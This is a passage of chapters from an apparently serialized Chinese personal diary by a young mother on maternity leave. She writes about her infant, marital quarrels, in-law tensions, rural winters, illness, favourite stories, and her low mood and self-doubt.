    今天宝宝拉大便了。我把她的衣服放在一边，等晚上家里人回家来了，再去洗，发现屎干掉了一点也不好洗，晚上洗了我好久，下次我需要长点教训，马上洗。
    宝宝好像长的蛮可爱的耶！穿上我给她买的衣服，我心里很开心，我买的衣服我感觉很划算，三角形包屁股的衣服，她穿了后肚子不会着凉，然后给她穿长袜就行了。非常方便，比分体衣服好，因为换尿片不用脱来脱去，没那么麻烦。
    最近和老公吵架了。我感觉他和家里其他人更亲密，相比较来说。然后就一直吵，好吧还是吵架爽。我终于理解了她们说的嫁了老公之后，每天都很嫌弃对方又有好多好多个和他继续过下去的理由的那种感觉。
    崽崽的眼睛有倒睫。真是个可怜的崽崽。没办法。希望崽崽的倒睫好起来吧！
    结婚以后自己的脑子里好像被添加了什么程序一样，脑子天天在想什么坏念头，而且忍不住的那种，无论是说话还是做事，我找原因嘛，要不就是最近带娃晚睡，时间久了，肝火旺，要不就是闲的，要不就是家里有业力，进入了这个家就要为这个集体承受业力。要不就是有鬼，要不。。。。算了不要胡思乱想了。比较疲惫吧！
    我发现我过上了与我想象中不一样的生活。我在结婚以前，青春期中二病的那段时间，以为自己结婚以后可以当一个很好的妈妈，然而事实是并没有，当我的宝宝是个婴儿的时候她就被我骂过，以前的我以为自己结婚以后，可以当一个好妻子，然而并没有，我很糟糕。以前我看过一本小说，里面的文章写的很凄美，大概的意思就是一个女孩她谈了恋爱，最后无疾而终，然后他们分手了，过了几年，到了谈婚论嫁的年纪，她去相亲了，然后和那个人结婚了，写的文笔很好，大概的意思就是她给不了他爱情，但是可以给他生活，然后双方都很满意，她把家里照料的非常的好，为人处世很不错，让我这个看小说的很羡慕这种能力，当时心想我也可以这样子啊！给不了对方爱情可以给他生活。然后嘛，我们的生活还是乱糟糟的，不是因为贫穷，而是因为懒，没有心。
    很想买贵一点的电动牙刷，可是我又想省钱，便宜的那个不好用了，需要充好多次电。我之前买的那个三百坏了。我总感觉三百的不好用，然后它就坏了，用了十几块钱的之后，发现还是三百块的好用，可是坏一次伤不起。我的牙齿会长结石，我也想用普通牙刷，不过用了之后，吃东西没有什么味道，因为我刷牙方式不对，可是我又懒，不太想认真刷牙，电动牙刷的话它更方便一点吧！
    可是到底还是懒得，主要是以后事可能很多，能省一点是一点。
    现在的婚姻。我感觉这个现实场景比较适合我妈妈。因为我妈妈她会酿酒，现在的家里，老公这边的家里也超级喜欢酿酒，他们会自己酿米酒，而我不喜欢酒，因为我喝酒体内的湿气会特别的重，然后皮肤不舒服。我们家那边，也很少人喝酒，就奶奶看过她喝了一小口白酒，或者小时候那种像葡萄汁一样的酒，其他的酒没有印象。我不知道我妈妈在我家她过的舒不舒服，感觉不太舒服。现在我懂了。很多的个人习惯，之类的。我喜欢清淡的饮食，我老公这边喜欢又咸又辣的，夏天的时候我很冷，我老公很热，冬天的时候我很冷，老公很热。我一个人的时候我喜欢穿睡衣，而这里嘛没有这个习惯。老公在结婚之前说，虽然我们都很苦，只要以后我们相互奋斗总会变得好起来的，可是结婚之后他打好多的游戏，他说他只有这个很省钱放松压力的娱乐方式了。这是我喜欢和欣赏的点。据说在玩游戏的男士更不容易出轨，女孩子结婚了更有安全感。后来我也爱打游戏，而且也变得晚睡。我以为我晚上十一点睡觉，有时十二点休息是晚睡，直到我看到老公凌晨一两点。有种不知道怎么说的感觉。和我想象中的生活有点像又相差有点远的感觉。后来我也慢慢习惯了熬夜。
    和我想要的我区别很大。我在休产假的时候脑子里是计划开始好好准备上班的预习的，可是我从未开始，我不是很开心。这样子的我自己。我很想学习。
    我习惯我不习惯的习惯，我以为的以为只是我以为。
    我以为我家里人他们不喜欢我呢，等我结婚了才发现他们很爱我。爱的方式不同而已。
    我也慢慢的明白了妈妈的难受之处。原来她挺不容易的。我在上幼儿园的弟弟调皮的时候被妈妈骂，他说他好讨厌妈妈，全家都不喜欢妈妈。我不知道以后我的小孩会不会讨厌我。我会不会也感觉很孤单。
    生小孩是一件很奇妙的事情。有的时候我在感谢她的到来，很可爱，很萌，我体会到了母爱的感觉。很感谢宝宝吧！
    老公的优点，他有一张的很像易烊千玺的脸上的那些坑的脸。我感觉结婚还是要看脸的，这个人看着不让人讨厌就很好了，至少在生气的时候能够冷静下来。或者有种美人生气都是赏心悦目的感觉，挺好的。
    可是与我期待的我自己始终相比甚远。我的事业可能会完徒子。不管结局发生什么，都好好过下去。
    我不知道我有没有压制我的自我意识写下这样子文。因为我有时也分不清我究竟是我还是不是我。老师说长期不吃早饭，以后会得胆结石。而我想我的自我意识也是这样子的吧！长期不出来，它会不会像胆汁一样本来是正常的，却久而久之导致生病了呢？
    我的自我意识也喜欢我老公吗？她也会喜欢我现在的生活吗？我不确定。其实我也不知道我怎么喜欢的。有的时候感觉就像被人施了魔法一样。很神奇的能力吧！然后就结婚了。一切顺利。可是这是我吗？还是不是我呢？我不明白也不想明白了。
    就像很多奇怪的意识进入了自己的头脑里，然后它们翻阅我的记忆，那些很好的事都出来了，藏在心里很美好的记忆，而那段时间和老公吵架也是这样子，就像有奇怪的东西进入了自己的脑子里一样，无论是大事小事都能够吵架的感觉，生活总是那么奇奇怪怪的。

 第128章

    今天脑子里满是很多的念头，都是让人想笑又想哭的。很多的表演力，很想把那些废话说出来让自己开心也让别人开心的感觉。不过到底还是沉默了。千言万语止于无语。
    晚上和家人一起去超市。超室挺大的，而且我看中了一些宝宝的衣服，我感觉那家超市的价格很实惠。不过我并没有买，因为宝宝还没有到这个年纪。
    人与人的悲欢并不相同。不过可以和而不同。爸爸在听伤感情歌，老公在看他爱的游戏视频，而我在脑子里好好思考。心情比较平和。
    就像羊皮卷里写的，其实大部分的人都很不错，很好，只是我们有不同的角色所以产生了对立的感觉。我想我也许不够接地气吧！不过我属于我自己，我并不能勉强我成为别人的样子。那样我会不舒服的。
    下午看了哔哩哔哩的跨年晚会。还不错，有的地方感觉我和当代年轻人脱节了，不太懂，他们的感情。不过有的又合的上。我终于感受到了许嵩的乌鸦的故事的那首歌的含义，以前去听只感觉这首歌很困，听不懂。现在去听感觉到了那种感觉。形容不出来。
    今天回忆起了《小明修仙记》里面讲的是一个小孩子学数学然后修行的故事。这个故事挺精彩的，可惜作者和我一样是九年义务教育者。他可能并没有上过高中吧！所以后面的没有写出来，好可惜。
    前两天在看《季凉川爱了你这么多年》，文章十几年前就看过了。当时看的是第二部，直接从第二部看的去，后面就没有看。所以看的懵懵懂懂，全文上下也就只记得女主角像一个疯疯癫癫的人做了一件疯疯癫癫的事。搞得我稀里糊涂。现在从第一部去看，所以能够理解了。女主角拥有恋爱脑。他们那种场景的人可以自由的像一个孩子一样，全心全意的照顾自己的感受，有那么一瞬间想吐槽一下，又有那么一瞬间其实很羡慕这样子的人，他们可以允许自己的心里的小孩子出来。不去逃避当下的感受。
    晚上去家婆工作的地方。感觉老板很有心，会放歌给员工听，剩下的就是嘈杂的机器声。没有结婚之前的我比较羡慕家婆的工作，梦想就是当一名会用缝纫机的人。不过自从结婚后，心血来潮用了一两天缝纫机之后，我就断绝了这个梦想。我真的不适合吧！
    白天特别的想分享的故事就是：第一个是一个爷爷奶奶那个年代的爱情故事。一个老奶奶在和她孙女放一对纸船在水里。然后孙女问奶奶为什么每一年的那天都会放船呢？然后那位奶奶想起了他们那个时代的爱情。她当年年轻的时候喜欢的小伙子，也很喜欢她，可是她和他的爱情会耽误他的发展，然后他们在一起放船时分别了，那个时候也正是他向她表白的时候，作者写的很美。可是我忘记了好多内容，看了感觉很震撼心灵。这个是在我灵魂深处很美的爱情故事。是小时候看的。
    第二个名字好像叫瑕疵吧！大概，年代久远我也不记得了。那个故事里，一个男孩子因为碰到了什么事，导致他有点坡脚，那件事已经过去很久很久了，可是男孩子很自卑，然后不太容易和人玩，就在努力学习。一个女孩子她的嘴巴在童年摔到了嘴角，导致她很自卑，虽然其实过去了很久，谁都看不出来她的嘴角被摔破过，然后那两个有瑕疵的人，相遇了，他们相爱了。摆脱了单身狗的生活。
    第三个故事学生时期，一个爱打篮球的少年，暗恋他同桌，他同桌也暗恋他，然后在感情升温的时候，他看到她和一个男孩子有说有笑，然后他不理她了，然后女孩子感觉到了他的冷漠，然后也看到了他和一个女孩子有说有笑的，然后她也放弃了。等到他们五六十岁的样子，聊起往事，才知道他们错过于误会。写的很凄美。
    第四个故事。一个男孩子是学霸级别的，他喜欢一个女孩子，她也是学霸级别的。可是女孩家境贫寒，幼年丧父。母亲生活能力很差，家里还有其他小孩子，然后九年义务教育之后，家里就没有余钱再去上学了。他很喜欢她。他的家境比较富有。可是他的母亲比较强势，他胆子也比较小，也不敢违抗家里。所以他只能尽自己微薄的力量，把学习资料给她，希望她好好学习，她去制衣厂上班了。他高中的假期就变少了，但是他还是会去看她。抽时间。他眼里的她像厚厚冬雪覆盖之下的拼命生长的小草拥有坚韧不拔的意志的女孩。然后她上班，他学习，上大学，然后他工作了，去了帝都。他并没有小说中的霸道总裁一样富有的人生，只是相对于大部分的人来说比较富有，可是也面对很多的压力，他很想好好努力，然后会有很多的把握娶她，可是帝都的压力比较大，普通员工在九九六时候，他好像比他们还要辛苦，然后很久很久干完了一个大项目，她也等了他很久，那段时间比较漫长，没有交流，他在过去的日子里也因为心里没有什么底所以也很少去对女孩说他喜欢她。她也期待过，可是就是慢慢的发现越来越少的沟通。那份等待的心情在长时间的消耗下，没有了，然后他接到了她的结婚请帖。他去参加了她的结婚典礼。有点悲伤和遗憾的感觉，只能说祝福。然后退场离去。他感觉她的现任也是一个很不错的人。她能得到这样子的托付也挺好的。
    看完那个故事，其实我心里有点遗憾。不过现实世界就是这个样子。爱而不得是人生常态。天若有情天亦老。
    写的有点晚了，快凌晨三点了呢！真不是我勤奋，带宝宝而已。
    其实我感觉我没有写到什么意义。或许我的人生本来就没有什么意义吧！还有一个故事，听说是一个很有名的人写的，文笔很好，其实我有点懂又有点不懂得感觉，太晚了，下次有心情就写吧！
    每个阶层有每个阶层的烦恼。每个阶段有每个阶段的烦恼。希望我适应吧！
    我感觉我有点像神经病。可是我的痛苦就来自于我对我自己这样子的评判心理。
    什么时候才能真正的懂事呢？我像一个小朋友驱动大人的身体。

 第129章

    现在的脑回路清奇。
    不知道为什么我看到我的宝宝总感觉很抱歉，因为我并不是一个合格的妈妈。感觉自己的心情不够稳定，在不知不觉中传递负能量。
    晚上突然好累的感觉，又做了一个蛋炒饭，没有昨天做的好吃。很累的感觉。然后搜一些小说，根本搜不到自己合心意的。就这样子来到了凌晨三点。
    我突然不是很开心。
    我也不知道我的情绪怎么了。
    好了好好睡吧！
    家婆说宝宝感觉瘦了，不知道她的意思是不是在说我没有带好我的宝宝。不过我听了没有什么感觉。
    可能这个不开心吧！
    我也不好对我老公讲什么。
    我又有很多需要拜托家婆家公的事。像给我宝宝喂药，只有我家婆喂药才不会吐，我喂药会吐。洗澡也是，我洗完了宝宝好像不怎么睡觉，而我家婆给宝宝洗澡，她睡的很香。有的时候我会感觉我可能是个假妈妈。对宝宝好像不太有联系。然后我老公和我家婆就知道宝宝需要什么。可能是因为宝宝刚生出来的时候，他们就一直他们抱，而没有和我粘的很近吧！
    也许是这个原因。
    我今天不是很开心。不过休产假，我吃饱了睡，睡饱了吃。挺闲的，相对于网络里别人的生活好像很好，可是生活如人饮水冷暖自知。彼之砒霜我之蜜糖。总之还是流行的那句话:智者不入爱河，愚者泪流成河。
    真羡慕男的，据说男的比女的多一千两百万了。在这样子的数据里可以自由的保持单身。可以做自己想做的事。而女的就不一样了，听说有那一个官位是女的当，下面就一大批人会说那个女士的坏话，而且说很多很多，不堪入目。
    这个世界真的一点都不美好呢！
    可是有很多事都是天上注定好的。看过一篇小说，男主和女主很相爱，他们都拥有穿越能力，他们都很爱国家，然后每天都操心国事，然后他们不管怎么穿越，要么男主死于非命，要么女主死于非命，都特别的惨，后来的一次穿越，女主和男主就不去管国家的事了，然后那一世他们很幸福。所以我又有什么资格去评判世界呢？世界要怎么样，都是它决定好的。有很多种说法：有的人说我们这个世界是一个学校，很多人的灵魂都是来到这个学校上学，经历的一切困难苦难都是高一级的自己选择的，让自己的心灵不迷茫，学会了就会回到那个地方。其他的说法我忘记了。就这个最深的印象。
    让自己懂得自己想要懂的才有意义吧！至于这个世界怎么样，我又不是世界我怎么知道。
    我的羊皮卷今天又没有看，我需要看，掌握爱的能力。感恩于这个世界，可是我的潜意识并不想让我学会它，潜意识里的自己可能很想让我死的很惨吧！虽然现实里的我也很想早点挂，可是算命的说我能活到六十岁。所以天命如此，就好好去寻找自己活着的意义吧！
    从小到大都是我知道很多对自己好的方法，可是我根本没有办法坚持下去，基本上坚持了几天然后就败下阵来，过的和从前一样。几乎每一次都是这样子，不管用什么方式。
    我那么迷信算命的，是因为算命的，他对我说你曾经过的很辛苦，很惨，你的童年很不幸。那个时候我极致的否认，然后有一种心灵触动的感觉，我也不知道怎么形容。我确实惨。可是我也不记得了什么原因。所以过的想死，为什么想死我也不知道，其实可以去看一下心理科，可是去了医院也不敢看，我怕会给我开药。
    我讨厌吃药。
    我想起了一个童年的事情。就是我和一些哥哥在一个马路上搬了好多石头把一辆车给堵了。那个时候我知道我在做坏事。那个时候还小。总感觉自己好像阴阴凉凉的，像碰到了山上的鬼一样。可是我不太理解。后来开车的好像下车批评了我们。那个场景里我没有搬石头，因为我小搬不起。可是我不知道那件事给我的阴影是什么？可是却没有办法忘记。
    第二件事，我很喜欢的哥哥，他突然在欺负我，那个场景里我就像一个没有意识的傻孩子一样，而他很坏，然后骂人。周围有很多人，是在一条马路边。我不知道那个时候的自己的心情是什么样子的，就像一团雾把我包围的感觉。现在的他也长大了。也不好提当年的事，其实也没有什么太多的动作，只是那个时候的嘲笑或者语言让我感觉很难受。可是那种难受又没有出来，就像情绪或者脑子为了保护自己，就像雾一样帮我遮住了。
    第三件事，是在一颗树下，那是一颗三华李的树，我们在树上玩，然后有一个孩子吃了一个三华李，那个李子红色的，我好像是第一次看到李子的颜色是红色的，感觉头皮发麻，很可怕像吃血的李子一样。然后感觉自己看到了树的旁边的有女鬼的感觉。好可怕。
    第四件事，家里人给我算过我五行忌水。我的小伙伴知道了后，天天都带我去水边玩，我也不想去，可是我拒绝不了，那个水很清澈见底也很冷的感觉。好多次了。我就像一个傻孩子一样对我的朋友没有任何情绪。等我长大了，也没有很大的情绪。
    就回忆到这里吧！童年阴影吗？其实有很多我都不记得了，不知道有什么意义

 第130章

    回农村老家了。真冷啊！宝宝的感冒本来快要好了，又冷回来了，还好带了药。我的脚也好冷，只能窝在被窝里。
    每次回老家的时候，都冷啊！我真的很讨厌这个环境。可是这个没办法改变，除非拥有钞能力。暂时还没有那个能力。
    不是说我嫌贫爱富啦，主要是我身体比较冷，夏天有时候都需要盖被子的那种。冬天就更冷了。一句话讲就是没有富贵命偏有富贵病，特别的烧钱。
    等以后有条件了就把老家也装空调吧！可是老家如果装空调，出去吃饭之类的还是很冷，两种温差那么大，有可能生病的概率会更高。这样一想想也算了吧！
    可怜宝宝了，没准宝宝也能适应这种生活呢？我家也是农村，我们那边没有那么冷，这边是夏天也好冷。还会起雾的那种。
    有的时候在考虑物质我会想我脑子可能进水了，选了个那么差的环境。而且相亲的时候晕车晕的吐血。回家的时候呕了胃痛，还是感觉这段缘分很好。只能说缘分是这样子吧！
    老公确实比较合我的心意，无论是长相还是气质。他会帮我做好多事，而且我也就是看脸，其他什么都不考虑的那种。自然需要接受面临的情况，关于婚姻怎么样才能不入坑，其实这样子的内容我是看了学习了很多。但是在面临选择的时候，还是会选择让自己心里感觉很好的选择。哪怕理智感觉不好。
    今天去看了林微因，陆小曼，张幼仪，郭沫若的故事。我感觉自己好像看到的故事，和我某一个时间段看到的故事不一样。也许那个时间段看错了，或者理解错了吧！在那个时间段的自己看了徐志摩的故事，大概的意思就是他是个富家子弟去了一个和他阶层一样的女孩子，然后他看不起她，徐志摩也被人看不起。然后他就娶了陆小曼。而郭沫若他娶的妻子是和他阶层不一样的，他的妻子写的文章很美好，很有生活气息。但是我只看了一点点，比较触动我的心灵。可是在微信公众号看的郭沫若的故事，他是个始乱终弃的人，负心汉的那种。和我想象不一样。也许我是看到了平行世界的郭沫若吧！徐志摩也是。算了，就像杨玉环的故事一样。我曾经看过梅妃为主角写的小说，感觉杨玉环就是一个很糟糕的人，可是以杨玉环为主角的故事里，梅妃是一个很糟糕的人。公说公有理婆说婆有理。哎呀嘞，这些故事也就看看，认真你就输了。
    今天回家高歌一曲，就像白天不懂夜的黑，这首歌的内容一样。白天不懂夜的黑。

 第131章

    好冷啊！最近不知道要看什么小说，感觉小说很难让我的心灵成长，但是它可以给我带来天马行空的思想触动的感觉。
    以前没有结婚也没有谈恋爱的时候看的小说我感觉很好看，仿佛有一个奇妙的精神世界一样。等结婚以后，看的小说一开始也看很美好的小说，后来就看末世重生文了。因为生活实在有点难，我们现在还在爸爸妈妈的羽翼下，其实难处没有很大，可是相对于单身狗生活的状态来说还是有难度。只能看末世重生文看那些人那么惨，惨不忍睹然后再转换视觉思想去过日子了。这就像自己把自己的生活过的很烂，情绪很糟糕，然后看那些比我们活的更糟糕的人的笑话来缓解一下自己的心情的那种感觉。
    最近老公生病了，有点发烧，我还有宝宝也生病了。乡下的冬天特别的难受。特别的冷，这里是南方。然后很冷。我觉得老公生病的原因可能是因为去了山里挖笋。老公的家这边有好多的竹子，他比较爱挖笋。可是前两天他挖笋的时候起了好多雾。可能太冷了吧！也有可能是他和我们一起吹空调睡觉，突然到了山里，适应不了，我在县城住的时候，都是吹空调，因为宝宝晚上会闹肚子，她有肠胀气。晚上经常不舒服。
    其实根据我的拙见，我认为宝宝身体不舒服，因为我和老公的感情没有那么相爱了，生活充满了负能量导致的。没娃的时候那日子真的爽到飞起，有娃之后发现从天堂进入了地狱。实在是以前的日子比较舒服，突然来了那么难得，一开始我们还有心情攻克一下，等到时间长了就没有那么简单了。会吵架，吵架过了一段时间，我们就不吵架了，可是会互相生闷气，每次生闷气很重，宝宝就哭的好厉害。然后又是新一轮的鸡飞狗跳。
    这就是结婚带娃的日常。老公还是蛮好的，有好多事他都会动。然后不动我会和他干架。
    不过其实我们并不是非常的快乐。他对我的态度和我对他的态度都是如此，可是我们都会选择开心的方式。所以也还好。结婚可能真的需要心思吧！
    我给他按了穴位，一开始他说有效果，不知道为什么后面又说没有效果，我也不知道他生病是不是因为山里冷。这两天这个人全身都虚的了。
    听了爷爷和爸爸的一些话，大概讲的是乡政府或者是村子里有人贪污的事吧！我听不太懂。也不知道是不是这样子。爸爸老是说如果自己当干部会怎么怎么样，叫他去他又不去。
    我以前喜欢这个地方的原因是因为他们对国家比较有信仰。爷爷也比较让我钦佩。可是爸爸的一些话又打破了我对他们的看法。
    不过不做那么多的评价。毕竟我听到的不一定是真的，不管是别人讲的，还是自己讲的，添油加醋或者是喜欢胡说八道的人其实很多，就像有的时候我也会忍不住胡说八道，因为胡说八道是一种很爽的事。所以听一下子就好了。
    在其位谋其政，不在那个位置就不要想那么多。内心祝福他们把事做好就可以了，希望政府里的人可以实现人民好的愿望吧！为人民服务。至于事情真相，老天爷才知道。我只管善良，老天爷它会安排好。
    我长了一颗智齿。嘴巴有点痛。

 第132章

    明天就过年了，我并没有做什么。全都是家里人在做事。
    今天好像下雪了，好像没有，只是门口的山上有白茫茫的一片，好像雪一样，可能是树上结冰了吧！怪好看的。这几天感觉更冷一点了，家婆给宝宝穿上了毛衣，宝宝现在行动不便，想给她做运动，发现不好动，想给她脱掉就会好冷，算了就这样子吧！只能我给她翻身了。本来四个月的宝宝应该会翻身，不过宝子和我一样懒懒懒的，能躺着绝不坐着，崽宝子真的是好可爱啊！
    现在冬天这里冷死了，我并没有洗澡洗的勤快。一来冷二来冷。三来带的衣服其实没有带多少件。衣服很难干。
    早知道我就结婚前就去医院做手术把它做掉，省的那么麻烦。每次我和我妈说话，她就说我没有狐臭，不管我怎么讲，就是我没有狐臭。只能等哺乳期过了我就去把我的智齿看一下能不能拔，狐臭能不能做手术做掉它。二胎如果也这样子让我很难搞。
    人类幼崽真萌(??w?)?嘿。一开始看着她好萌，好累，现在累习惯了，看着她只剩下萌了。不过还是手机更好玩。再萌再可爱的崽，都不能影响我对手机的挚爱。我老公也是一样的，我们新一代的年轻人都这个德行。不好吧。可是手机它把我的不高兴的情绪都缓解了。所有的，然后有什么东西也可以在手机里查找很方便。
    我终于知道为什么大家都讨厌结婚了。结婚之后才知道的。第一结婚了本来以为心里放下的人不会出现了，可是并不是。他会时常跑进思想里，早知道我可是见一个爱一个的人，喜欢的人其实很多，因为我很容易看到他们的优点，所以结婚了它们还跑进我的思想里就不正常。在爱的博弈那本书里写的信任。其实不管是自己还是对方，我感觉都比较希望自己是值得信任的。
    我也希望我是一个值得被人信任的人。所以我不喜欢我的脑子里出现其他的思想，可是别人的看法里是，如果你的人生里会有第三者，或者你的思想里会有第三者，其实是本人也就是我自己的灵魂纠缠的能量，其实和那个人没有任何关系，这是我的脑子在渡劫，这是我人生需要学习的课题。可是对于我来说我需要学习什么呢？
    不太懂。
    我们这个小县城才三万多人，每年结婚也就两千对左右，每年离婚一千七百多对。这是一个律师和我讲的，他说离婚诉讼都写的手麻。
    不过结婚都是这样子吧！就像选择一条路一样，选择了这个就能看到很多风景很美丽，但是过程更曲折离奇，选择另一条就非常平坦顺利。选择了也就没有回头路。这是初中语文里的一首诗，具体我忘记了是啥诗。所以说九年义务教育还是蛮好的，虽然我学习一般但是他还是拯救了我的心灵很多次。
    选择了就往前走吧！
    我想要什么呢？我也不太懂，就像一部电影一样，那个电影里的世界像一个监狱，每个人都会吃他自己想要的食物，然后上层的人很贪心吃掉了下层的人的食物，所以导致下层人吃不饱，而这些东西又是每一层的人自己想要的，他们经常会换层，可是过程痛苦不堪，然后传递信息到最高层，才想起来那个世界是一个减肥世界，每个人吃到的东西都是他在进入这个世界之前选择的。这个电影名字忘记了。所以不去贪心别人的东西别人的人生，别人感兴趣的东西，只选择自己内心想要的就可以了。也可以把地球当成自己的学校，思想为墨人生为纸，去书写自己喜欢的人生。我感觉我的人生应该是一场涂鸦吧！不过虽然古怪但是也符合我的性格。
    婚姻也是一场学习。
    结婚以前我会抱怨我妈妈，结婚以后我理解了她，也明白了她的不容，这就是学习的过程，我能悟到不容易就是精华所在了。我感觉值得。也就可以了。
    想要做的事很多，可是人生太短，这里花一点精力那里花一点就会浪费很多的时间。这个道理我明白。想要去做对自己好一点的事，可是总是行动不起来。我的心灵很奇怪吧！
    我好像很想把自己的一生过的很烂然后做对自己不好的事，然后对自己pua。我也不知道为什么，也许我在选择悲伤吧！羊皮卷说要忍受悲伤，那样才能升华我的灵魂呢！加油吧！我也不知道有什么是伤心的。
    毕竟我喜欢的人是个纸片人。这个世界只有纸片人才是完美的。太完美的总是太假。
    理想的人是非常美的，也许最美好的爱情就是他幻想里美丽的白月光或者朱砂痣的样子我都有，他想要的我都能做到，而我想要的他都有，我想要的他都能做到。这就是美好的爱情吧！
    也许吧！我的认知也就这个样子了。
    网络里说在最无知的年纪做下选择然后就去接受承受做这个选择的代价。嗯，怎么选都是个坑，挑一个自己喜欢的吧！

 第133章

    雪好美啊！整个山都很美，然后我们就拍了点照片。然后过了一两天就融化了。然后这两天又冷起来了。
    好冷。老公去上班了。我还在乡下，因为我懒，家婆会煮汤给我吃，我就没有和老公一起走。没想到那么冷，早知道一起走。
    和老公视频发现他在开空调，我的内心好羡慕。
    这几天感觉自己废了，总想躺着睡觉，晚上的话，观察宝宝，发现宝宝昨晚一点都没有哭闹睡的好香。可能是最近的钙补到了吧！
    我老是会忘记给宝宝补钙，不过最近又记起来了，最近我在吃宝宝的钙，补给她。
    好久没有登录，发现自己被禁止了，文章里没有有颜色的文章。
    有点无语。
    不过以前自己看小说的时候就希望啥都没有，现在自己写文章了就希望啥都有。真矛盾。
    我体会到了被窝里藏着一个小可爱的感觉了。崽崽好可爱。
    天真的好冷好冷，下次过年要记住这个教训。
    希望给宝宝拍满月照，其实她满月很久了。

 第134章

    今天家婆做的汤还不错挺好喝的，山药排骨汤。
    最近自己的脑子又在否定我自己了，脑子里一直都是在说自己是废物垃圾。自我否定又在循环，也许是在提醒我自己需要认真起来了吧！
    想起了一段过往，在那段过往里我并不喜欢学习。可是我仍然在认真学习。我也不知道学习的意义是什么。学习的时候总想着去玩，玩的时候又拼命的想要看书。
    有的时候，我也不懂我为什么喜欢学习。我好像特别特别的希望自己好好玩。长大结婚了，老公最能打动我的地方就是他很能逗我开心，他会享受生活中的小美好。有的时候我在嫌弃，因为我拼命的自律，想要把自己往好的那个我有大目标的地方拐，可是我拐不动我自己。虽然现在的自己，自己看起来很废，但是这是我的心之所向。我没有办法撬动我的心。
    我不听她的话我会抑郁焦虑，听了她的话，就这么放松下去，以后的我可能会抑郁焦虑，可是现在当下的我感觉很开心很舒服。
    看了《心灵奇旅》这部电影。里面讲的内容，就是活在当下，享受和体会每一个瞬间。这就是生活和活着的意义。
    这是22号教给我的，也许每个人都是22号吧！

 第135章

    今天有点心塞哦！
    好多天的喉咙痛还没有好。
    发病的原因就是去回娘家的那天没有带头盔，骑我的助力车然后好冷风好大。我的头就好冷，感觉脑子里像进了什么邪气一样，特别的不舒服，然后头有点热的感觉，不过没有发热的症状。然后我突发奇想让自己的身体去抗两天，没准可以刺激身体的免疫力，然后发现过了两天之后更严重了，后来就变成了咳嗽。今天就变成了沙哑的感觉。我不记得我有多少年没有这样子病过了，而且还在哺乳期，医生说不能吃太多药。
    然后今天买了新手机5G的oppo。我发现按键音根本不知道如何关闭，这个新手机让我搜了很多的东西，仍然没有办法解决这个问题，现在打字就像在打鞭炮一样。让我心情一般般。
    老公说这个手机还好。不错，他希望我能用五年。
    我拿到这个手机换上了号码的感觉就是感觉自己手机清零了，自己也清零一样，脑袋空空的。感觉我没有了内涵一样，不过我本来就没有什么内涵的感觉。总之oppo的感觉没有老手机那么好的感觉，有点失落，可能这个手机也还好，只是我没有学会如何使用它。希望我们能够好好的合作吧！
    老手机用了很多年有点子舍不得。希望以后还能用吧！
    真的我自己给我自己的感觉不一样了。挺意外的。

 第136章

    老公骑助力车载我回娘家，我懒了一点没有带头盔，然后就吹了一下风，就喉咙痛，本来喉咙痛拖一下，想让自己的抵抗力好一点，然后我就更严重了。
    去本医院医生那里看，然后因为哺乳期可以吃的药比较少，然后就还没有好，最近咳的严重，周围的同事家人就希望我去挂点滴，看一下能不能好一点然后我就去人民医院看，我们医院是综合医院。然后人民医院的医生也建议吃药，因为挂点滴的话药物浓度高对宝宝不好。然后就回家了。
    我感觉这个病真的都是潜意识的病。潜意识里不太开心就容易吸引很多的病，也许是需要关爱也许是需要切断自己多余的想法与需求吧！总之就是需要保持平衡。心理和外在。不过我没有保持平衡。
    我感觉最近我的心理也非常不正常。我真希望自己能上很多班，然后也很忙，回家也可以休息，因为我对老公的行为最近感觉很愤怒。他回家就吃完饭，不洗碗了。就玩游戏了。以前结婚就看中他会洗碗的，现在他不洗了，结婚没有洗多少次碗，我感觉很愤怒，和我想要的生活相差甚远。
    人家很想两个人扣扣搜搜过日子，可是家里好多开支都变得很多。我也不好讲什么，讲了也是白讲，生活方式不一样。省钱的事后面老公都会以各种方式花出去。好像我亲戚他们也是这样子。我以前单身的时候不理解为什么两个很好的人离婚了，等我结婚了以后我就懂了。生活方式不一样确实很难受。
    我看了我的前半生。我想如果我选择一个很富有的人结婚，可能日子也会过的和罗子君一样的吧！我也不见得多有脑子，几乎别人说什么我就信什么。对于母亲，在心里也是听之任之。好像没有什么独立思考的感觉。
    脑子里还有很多很乱的想法。
    和他的亲戚吵架了，可是要想日子过得去还是要我低头。
    在一个餐桌上，然后他姑姑讲话点到了我女儿，女儿才六个月。我听了很不爽。就怼回去了，然后他爷爷就很不开心，就说要教育我，叔叔家的饭，他女儿谈了男朋友未婚先孕，然后他姑姑就这样子讲我女儿十八岁也会嫁出去。她的意思在我耳朵里听到的意思就是说我女儿也会未婚先孕的意思。然后我就顶回她了。我老公就和我吵架，说我在他们家亲戚的头上拉屎，说我不尊重他的亲戚。爷爷喝多了酒，也一个劲的讲我。那个时候我很想闹离婚，就直接吵架。要离就离。我没有打电话给我的父母，还有我的家人。
    我每次想起他姑姑我就很生气。因为之前我们结婚快一年了，怀宝宝好大一个肚子，在家里她过来做客就在讲女孩子未婚先孕的事。而我和老公是领了结婚证，然后再同房的，选的日子在一个月后。就那段时间有的孩子。比大家喝酒的日子早了一个月。她讲的时候我听了很不爽，指桑骂槐的感觉。但是我没有讲她。后来在她家做客也是这样子讲。也有那种感觉，但是我没有应她，因为她也没有明说，然后他叔叔家吃饭我就好生气了。因为她讲到了我女儿。那个时候我好气愤。因为感觉女孩子除了生孩子没有别的价值了。
    而那些乡下的人又在天天盼望着这样子的事情发生。巴不得会有傻孩子这样子做的感觉。可是学习了有事业，或者各种铠甲，其实对于女孩子来说都是作茧自缚而已，因为一代又一代根本没有幸福感。
    幸福感就像一个幻觉一样。讲利益吧又讲人家讲利益，总之给我的感觉没有意义。
    没结婚的时候脑子里就像中了邪一样，总是会听见各种女孩子爱慕虚荣的故事，乱七八糟的，然后终于结婚了，这种声音就没有了，感觉这就是嫁给穷人的缘分吧！然后现在换成了每天各种视频号都在给你推荐离婚的视频。然后我在想，之后可能就算离婚了，以后还会给你推荐结婚的，结婚了以后又给你推荐离婚的，一婚的时候告诉你二婚好，二婚的时候告诉你三婚好。总之无语，不知道怎么讲。
